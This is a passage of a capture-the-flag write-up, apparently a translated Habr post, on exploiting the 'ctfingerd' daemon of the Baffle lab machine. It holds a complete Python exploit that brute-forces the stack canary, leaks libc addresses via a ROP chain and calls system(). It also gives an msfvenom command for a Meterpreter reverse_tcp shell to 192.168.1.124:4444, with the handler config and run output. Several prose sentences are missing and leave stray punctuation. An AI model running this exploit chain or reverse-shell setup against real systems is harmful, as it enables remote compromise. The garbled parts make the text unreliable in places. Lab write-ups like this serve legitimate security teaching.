[rbp+file_cntx], 0 .text:0000000000400BB0 lea rax, [rbp+s] .text:0000000000400BB7 mov edx, 14h ; n .text:0000000000400BBC mov esi, 0 ; c .text:0000000000400BC1 mov rdi, rax ; s .text:0000000000400BC4 call _memset .text:0000000000400BC9 mov edx, [rbp+fd] .text:0000000000400BCF lea rax, [rbp+s] .text:0000000000400BD6 mov esi, offset format ; "Socket fd: %d\n" .text:0000000000400BDB mov rdi, rax ; s .text:0000000000400BDE mov eax, 0 .text:0000000000400BE3 call _sprintf .text:0000000000400BE8 lea rax, [rbp+s] .text:0000000000400BEF mov rdi, rax ; s .text:0000000000400BF2 call _strlen .text:0000000000400BF7 mov rdx, rax ; n .text:0000000000400BFA lea rcx, [rbp+s] .text:0000000000400C01 mov eax, [rbp+fd] .text:0000000000400C07 mov rsi, rcx ; buf .text:0000000000400C0A mov edi, eax ; fd .text:0000000000400C0C call _write .text:0000000000400C11 lea rax, [rbp+buf] .text:0000000000400C18 mov edx, 3E8h ; n .text:0000000000400C1D mov esi, 0 ; c .text:0000000000400C22 mov rdi, rax ; s .text:0000000000400C25 call _memset .text:0000000000400C2A mov edi, offset buf ; "User to query: " .text:0000000000400C2F mov eax, 0 .text:0000000000400C34 call _printf .text:0000000000400C39 mov eax, [rbp+fd] .text:0000000000400C3F mov edx, 0Fh ; n .text:0000000000400C44 mov esi, offset buf ; "User to query: " .text:0000000000400C49 mov edi, eax ; fd .text:0000000000400C4B call _write .text:0000000000400C50 lea rcx, [rbp+buf] .text:0000000000400C57 mov eax, [rbp+fd] .text:0000000000400C5D mov edx, 7D0h ; nbytes .text:0000000000400C62 mov rsi, rcx ; buf .text:0000000000400C65 mov edi, eax ; fd .text:0000000000400C67 call _read .text:0000000000400C6C lea rax, [rbp+buf] .text:0000000000400C73 mov esi, offset reject ; "\n" .text:0000000000400C78 mov rdi, rax ; s .text:0000000000400C7B call _strcspn .text:0000000000400C80 mov [rbp+rax+buf], 0 .text:0000000000400C88 mov eax, [rbp+fd] .text:0000000000400C8E mov edx, 0Ch ; n .text:0000000000400C93 mov esi, offset aChecking___ ; "Checking...\n" .text:0000000000400C98 mov edi, eax ; fd .text:0000000000400C9A call _write .text:0000000000400C9F lea rax, [rbp+file] .text:0000000000400CA6 mov edx, 64h ; n .text:0000000000400CAB mov esi, 0 ; c .text:0000000000400CB0 mov rdi, rax ; s .text:0000000000400CB3 call _memset .text:0000000000400CB8 lea rax, [rbp+buf] .text:0000000000400CBF mov edx, 4 ; n .text:0000000000400CC4 mov esi, offset s2 ; "root" .text:0000000000400CC9 mov rdi, rax ; s1 .text:0000000000400CCC call _strncmp .text:0000000000400CD1 test eax, eax .text:0000000000400CD3 jnz short loc_400CF2 .text:0000000000400CD5 lea rax, [rbp+file] .text:0000000000400CDC mov rcx, 702E2F746F6F722Fh .text:0000000000400CE6 mov [rax], rcx .text:0000000000400CE9 mov dword ptr [rax+8], 6E616Ch .text:0000000000400CF0 jmp short loc_400D1A .text:0000000000400CF2 ; --------------------------------------------------------------------------- .text:0000000000400CF2 .text:0000000000400CF2 loc_400CF2: ; CODE XREF: query_user+14D .text:0000000000400CF2 lea rdx, [rbp+buf] .text:0000000000400CF9 lea rax, [rbp+file] .text:0000000000400D00 mov rcx, rdx .text:0000000000400D03 mov edx, offset aHomeS_plan ; "/home/%s/.plan" .text:0000000000400D08 mov esi, 30 ; maxlen .text:0000000000400D0D mov rdi, rax ; s .text:0000000000400D10 mov eax, 0 .text:0000000000400D15 call _snprintf .text:0000000000400D1A .text:0000000000400D1A loc_400D1A: ; CODE XREF: query_user+16A .text:0000000000400D1A lea rax, [rbp+file] .text:0000000000400D21 mov rsi, rax .text:0000000000400D24 mov edi, offset aPlan_locS ; "plan_loc [%s]\n" .text:0000000000400D29 mov eax, 0 .text:0000000000400D2E call _printf .text:0000000000400D33 lea rax, [rbp+file] .text:0000000000400D3A mov esi, 0 ; oflag .text:0000000000400D3F mov rdi, rax ; file .text:0000000000400D42 mov eax, 0 .text:0000000000400D47 call _open .text:0000000000400D4C mov dword ptr [rbp+file_cntx], eax .text:0000000000400D52 cmp dword ptr [rbp+file_cntx], 0FFFFFFFFh .text:0000000000400D59 jnz short loc_400D77 .text:0000000000400D5B mov eax, [rbp+fd] .text:0000000000400D61 mov edx, 25h ; n .text:0000000000400D66 mov esi, offset aDonTKnowAnythi ; "Don't know anything about this user.\n" .text:0000000000400D6B mov edi, eax ; fd .text:0000000000400D6D call _write .text:0000000000400D72 jmp loc_400DF8 .text:0000000000400D77 ; --------------------------------------------------------------------------- .text:0000000000400D77 .text:0000000000400D77 loc_400D77: ; CODE XREF: query_user+1D3 .text:0000000000400D77 lea rax, [rbp+var_4B0] .text:0000000000400D7E mov edx, 50h ; n .text:0000000000400D83 mov esi, 0 ; c .text:0000000000400D88 mov rdi, rax ; s .text:0000000000400D8B call _memset .text:0000000000400D90 lea rcx, [rbp+var_4B0] .text:0000000000400D97 mov eax, dword ptr [rbp+file_cntx] .text:0000000000400D9D mov edx, 50h ; nbytes .text:0000000000400DA2 mov rsi, rcx ; buf .text:0000000000400DA5 mov edi, eax ; fd .text:0000000000400DA7 call _read .text:0000000000400DAC mov dword ptr [rbp+file_cntx+4], eax .text:0000000000400DB2 lea rax, [rbp+var_4B0] .text:0000000000400DB9 mov rsi, rax .text:0000000000400DBC mov edi, offset aPlanFileS ; "plan file [%s]\n" .text:0000000000400DC1 mov eax, 0 .text:0000000000400DC6 call _printf .text:0000000000400DCB mov eax, dword ptr [rbp+file_cntx+4] .text:0000000000400DD1 movsxd rdx, eax ; n .text:0000000000400DD4 lea rcx, [rbp+var_4B0] .text:0000000000400DDB mov eax, [rbp+fd] .text:0000000000400DE1 mov rsi, rcx ; buf .text:0000000000400DE4 mov edi, eax ; fd .text:0000000000400DE6 call _write .text:0000000000400DEB mov eax, dword ptr [rbp+file_cntx] .text:0000000000400DF1 mov edi, eax ; fd .text:0000000000400DF3 call _close .text:0000000000400DF8 .text:0000000000400DF8 loc_400DF8: ; CODE XREF: query_user+1EC .text:0000000000400DF8 mov eax, 0 .text:0000000000400DFD mov rcx, [rbp+var_8] .text:0000000000400E01 xor rcx, fs:28h .text:0000000000400E0A jz short locret_400E11 .text:0000000000400E0C call ___stack_chk_fail .text:0000000000400E11 ; --------------------------------------------------------------------------- .text:0000000000400E11 .text:0000000000400E11 locret_400E11: ; CODE XREF: query_user+284 .text:0000000000400E11 leave .text:0000000000400E12 retn .text:0000000000400E12 query_user endp 




Here the most interesting is the function snprintf , which forms the path to the file being opened, upon closer examination it can be seen that the final path is truncated to 30-1 characters. Therefore, theoretically, we can again read any file:



 bob@baffle:~/binz$ python -c 'print("///////charlie/flag.txt")' | nc localhost 7979 


And we get another flag:

Socket fd: 10

User to query: Checking ...

FLAG {i_haz_sriracha_ice_cream}

---


Flag 5 (vulnhub)



Perhaps the same method will turn out to pull the flag from another user:



 bob@baffle:~$ python -c 'print("///////vulnhub/flag.txt")' |nc localhost 7979 


Socket fd: 6

User to query: Checking ...

Sorry Mario. The flag is in another castle.

---


Did not work.We continue the search. As in the previous case, the file has the same protection:







However, there are some differences. After a long search, bypassing the methods of canaries , you can stumble upon 2 articles: this and this . After reading them, we understand that this is our case. When sending different values ​​to this daemon, during debugging, you can notice one feature. In case the entered string does not damage the canary , the output looks like this:



Client side
Socket fd: 407

User to query: AA

Checking…

Don't know anything about this user.

---




Server side
+ connection accepted

+ back in parent

User to query: plan_loc [/home/AA/.plan]




However, when damage to the canary occurs , the output changes to the following:



Client side
Socket fd: 408

User to query: AAA.....AAAA

Checking…

Don't know anything about this user.





Server side
+ connection accepted

+ back in parent

User to query: plan_loc [/home/AAAAAAAAAAAAAAAAAAAAAAA]

*** stack smashing detected ***: ./ctfingerd terminated





As you can see, in the second case, the characters "---" are not returned to the client . This can be used for brutfors canaries. To iterate through using Python , for this we will prepare several functions.



First you need a function that actually will, after sending the data, check whether the application has crashed or not:



 #!/usr/bin/python2 import socket from time import sleep from struct import pack, unpack port = 7979 host = 'localhost' def isCrashed(data): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(data) sleep(0.2) req = s.recv(1024) s.shutdown(1) s.close() if '---' not in req: return True return False 


Need a function to search for the required displacement, it can of course set and constant, but a cool dynamic:



 def findCanaryOffset(): min_offset = 0 max_offset = 2000 cur_offset = getCurrentOffset(min_offset, max_offset) while (max_offset - min_offset) > 1: print('[*] Max Offset: %s Min Offset: %s' % (max_offset, min_offset)) send_data = 'A' * cur_offset if isCrashed(send_data): max_offset = cur_offset else: min_offset = cur_offset cur_offset = getCurrentOffset(min_offset, max_offset) return min_offset 


Here we do not go over the forehead:





For directly selecting the value of the canary, we use the following small function:



 def findCanary(payload): canary = '' for i in range(8): for byte in range(256): char = chr(byte) data = payload + canary + char if not isCrashed(data): canary += char print('[+] Found Canary byte %d: %s' % (i, char.encode('hex'))) break print('[+] Canary found: %s' % (canary.encode('hex'))) return canary 


Which, incidentally, displays the intermediate values ​​found.



Search canary is, now the most interesting. To bypass all the remaining protection that is used here ( NX + ASLR ), we need ROP gadgets, as well as the addresses of the necessary functions, both in the binary itself and in the library libc.so used by it . It is actually needed here mainly for calculating the correct address of the system function , since this function is absent in ctfingerd .



To calculate the address we need:



  1. address from the GOT table, any function that is present in ctfingerd
  2. the address where this function is located in the used libc.so


For example, we will use the memset function . We get its address in libc, which we previously downloaded to ourselves via ssh:



 $ readelf -s libc.so.6 | grep memset@ 838: 0000000000085620 247 FUNC GLOBAL DEFAULT 12 memset@@GLIBC_2.2.5 


And her address in the GOT :



 $ objdump -R ctfingerd | grep memset 00000000006014e0 R_X86_64_JUMP_SLOT memset 


Further, the actual “elite” function that we will use:



 $ readelf -s libc.so.6 | grep system 1337: 0000000000041490 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5 


We will also need the read @ plt and write @ plt functions from the ctfingerd file :



 gdb-peda$ p write $1 = {<text variable, no debug info>} 0x400920 <write@plt> gdb-peda$ p read $2 = {<text variable, no debug info>} 0x4009b0 <read@plt> 


With the functions finished, go to the search for ROP gadgets, then you can see exactly which registers are used by the system functions, we will look at the peda , which we have used in previous ratapes more than once:



 $ gdb -ex "start" -q ctfingerd gdb-peda$ ropsearch 'pop rsi' Searching for ROP gadget: 'pop rsi' in: binary ranges 0x00401011 : (b'5e415fc3') pop rsi; pop r15; ret gdb-peda$ ropsearch 'pop rdi' Searching for ROP gadget: 'pop rdi' in: binary ranges 0x00401013 : (b'5fc3') pop rdi; ret 


And one more thing, we need an address where to write our shellcode in memory, let's see what range is available for us to write:



 gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00402000 r-xp /home/remnux/ctfingerd 0x00601000 0x00602000 rw-p /home/remnux/ctfingerd 


, 2 . , , libc :



 # Get Socket FD s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) req = s.recv(1024) socketFD = parseSockFD(req) # Make payload payload = canaryOffsetBuf # some trash payload += canary # canary payload += pack("<Q", 0x00) # Owerwrite rbp payload += pack('<Q', pop_rdi) # pop rdi, ret payload += pack('<Q', socketFD) # STDOUT to socket payload += pack("<Q", pop_rsi) # pop rsi payload += pack('<Q', memsetGOT) # Address read in GOT payload += pack("<Q", 0x00) # Owerwrite r15 payload += pack("<Q", writePltOffset) # return to write@plt # Send First Payload s.send(payload) sleep(0.1) req = s.recv(1024) print('[+] Response from server: %s ' % req) s.shutdown(1) s.close() # Calculate addresses req = req.split('\n') memsetAddr = unpack("<Q", req[2][:8]) print('[+] Real address for memset(): %s' % hex(memsetAddr[0])) libcBase = (memsetAddr[0] - libcMemsetOffset) print('[+] Real address for libc: %s' % hex(libcBase)) systemAddr = (libcBase + libcSystemOffset) print('[+] Real address for sysem(): %s' % hex(systemAddr)) 


. system :



 socketFD += 1 # Save shellcode to writable memory payload = canaryOffsetBuf # some trash payload += canary # canary payload += pack("<Q", 0x00) # Owerwrite rbp payload += pack("<Q", pop_rdi) # pop rdi payload += pack("<Q", socketFD) # socket to read from payload += pack("<Q", pop_rsi) # pop rsi payload += pack("<Q", free_space) # location to write to payload += pack("<Q", socketFD) # junk for r15 payload += pack("<Q", readPltOffset) # return to read() # Call system() payload += pack("<Q", pop_rdi) payload += pack("<Q", free_space) payload += pack("<Q", systemAddr) # Send Second Payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload) sleep(0.1) print('[+] Run reverse shell') cmd = '/tmp/x64mettle\x00' s.send(cmd) 


:



exploit7979.py
 #!/usr/bin/python2 import socket from time import sleep from struct import pack, unpack port = 7979 host = 'localhost' def getCurrentOffset(min_offset, max_offset): return min_offset + (max_offset - min_offset) // 2 def isCrashed(data): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(data) sleep(0.2) req = s.recv(1024) s.shutdown(1) s.close() if '---' not in req: return True return False def findCanaryOffset(): min_offset = 0 max_offset = 2000 cur_offset = getCurrentOffset(min_offset, max_offset) while (max_offset - min_offset) > 1: print('[*] Max Offset: %s Min Offset: %s' % (max_offset, min_offset)) send_data = 'A' * cur_offset if isCrashed(send_data): max_offset = cur_offset else: min_offset = cur_offset cur_offset = getCurrentOffset(min_offset, max_offset) return min_offset def findCanary(payload): canary = '' for i in range(8): for byte in range(256): char = chr(byte) data = payload + canary + char if not isCrashed(data): canary += char print('[+] Found Canary byte %d: %s' % (i, char.encode('hex'))) break print('[+] Canary found: %s' % (canary.encode('hex'))) return canary def parseSockFD(resp): # resp = 'Socket fd: 7\nUser to query: ' => # ['Socket fd', ' 7\nUser to query', ' '] => # [' 7', 'User to query'] => '7' fd = resp.split(':')[1].split('\n')[0].strip() return int(fd) # Detect Canary min_off = findCanaryOffset() canaryOffsetBuf = 'A' * min_off canary = findCanary(canaryOffsetBuf) # Offsets libcSystemOffset = 0x41490 writePltOffset = 0x400920 pop_rsi = 0x401011 pop_rdi = 0x401013 free_space = 0x6012c0 readPltOffset = 0x4009b0 memsetGOT = 0x6014e0 libcMemsetOffset = 0x85620 # Get Socket FD s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) req = s.recv(1024) socketFD = parseSockFD(req) # Make payload payload = canaryOffsetBuf # some trash payload += canary # canary payload += pack("<Q", 0x00) # Owerwrite rbp payload += pack('<Q', pop_rdi) # pop rdi, ret payload += pack('<Q', socketFD) # STDOUT to socket payload += pack("<Q", pop_rsi) # pop rsi payload += pack('<Q', memsetGOT) # Address read in GOT payload += pack("<Q", 0x00) # Owerwrite r15 payload += pack("<Q", writePltOffset) # return to write@plt # Send First Payload s.send(payload) sleep(0.1) req = s.recv(1024) print('[+] Response from server: %s ' % req) s.shutdown(1) s.close() # Calculate addresses req = req.split('\n') memsetAddr = unpack("<Q", req[2][:8]) print('[+] Real address for memset(): %s' % hex(memsetAddr[0])) libcBase = (memsetAddr[0] - libcMemsetOffset) print('[+] Real address for libc: %s' % hex(libcBase)) systemAddr = (libcBase + libcSystemOffset) print('[+] Real address for sysem(): %s' % hex(systemAddr)) socketFD += 1 # Save shellcode to writable memory payload = canaryOffsetBuf # some trash payload += canary # canary payload += pack("<Q", 0x00) # Owerwrite rbp payload += pack("<Q", pop_rdi) # pop rdi payload += pack("<Q", socketFD) # socket to read from payload += pack("<Q", pop_rsi) # pop rsi payload += pack("<Q", free_space) # location to write to payload += pack("<Q", socketFD) # junk for r15 payload += pack("<Q", readPltOffset) # return to read() # Call system() payload += pack("<Q", pop_rdi) payload += pack("<Q", free_space) payload += pack("<Q", systemAddr) # Send Second Payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload) sleep(0.1) print('[+] Run reverse shell') cmd = '/tmp/x64mettle\x00' s.send(cmd) 




msfvenom , , :



 $ sudo msfvenom -p linux/x64/mettle/reverse_tcp lhost=192.168.1.124 lport=4444 -f elf > ./x64mettle 


And also config for msfconsole :



 $ cat meterpreter.rc use exploit/multi/handler set payload linux/x64/mettle/reverse_tcp set lhost 192.168.1.124 set lport 4444 run 


ssh :



 scp x64mettle bob@192.168.1.190:/tmp/ scp exploit7979.py bob@192.168.1.190:/tmp/ ssh bob@192.168.1.190 "chmod 777 /tmp/x64mettle" ssh bob@192.168.1.190 "chmod +x /tmp/exploit7979.py" 


Metasploit , :



 bob@baffle:/tmp$ python exploit7979.py [*] Max Offset: 2000 Min Offset: 0 [*] Max Offset: 2000 Min Offset: 1000 [*] Max Offset: 1500 Min Offset: 1000 [*] Max Offset: 1250 Min Offset: 1000 [*] Max Offset: 1125 Min Offset: 1000 [*] Max Offset: 1062 Min Offset: 1000 [*] Max Offset: 1031 Min Offset: 1000 [*] Max Offset: 1015 Min Offset: 1000 [*] Max Offset: 1007 Min Offset: 1000 [*] Max Offset: 1003 Min Offset: 1000 [+] Found Canary byte 0: 00 [+] Found Canary byte 1: 17 [+] Found Canary byte 2: 40 [+] Found Canary byte 3: 48 [+] Found Canary byte 4: 6b [+] Found Canary byte 5: 82 [+] Found Canary byte 6: 0e [+] Found Canary byte 7: 73 [+] Canary found: 001740486b820e73 [+] Response from server: User to query: Checking... Don't know anything about this user. 6     @ "!       P    [+] Real address for memset(): 0x7f109f173620 [+] Real address for libc: 0x7f109f0ee000 [+] Real address for sysem(): 0x7f109f12f490 [+] Run reverse shell 


Meterpreter ':







, .

Source: https://habr.com/ru/post/318860/



All Articles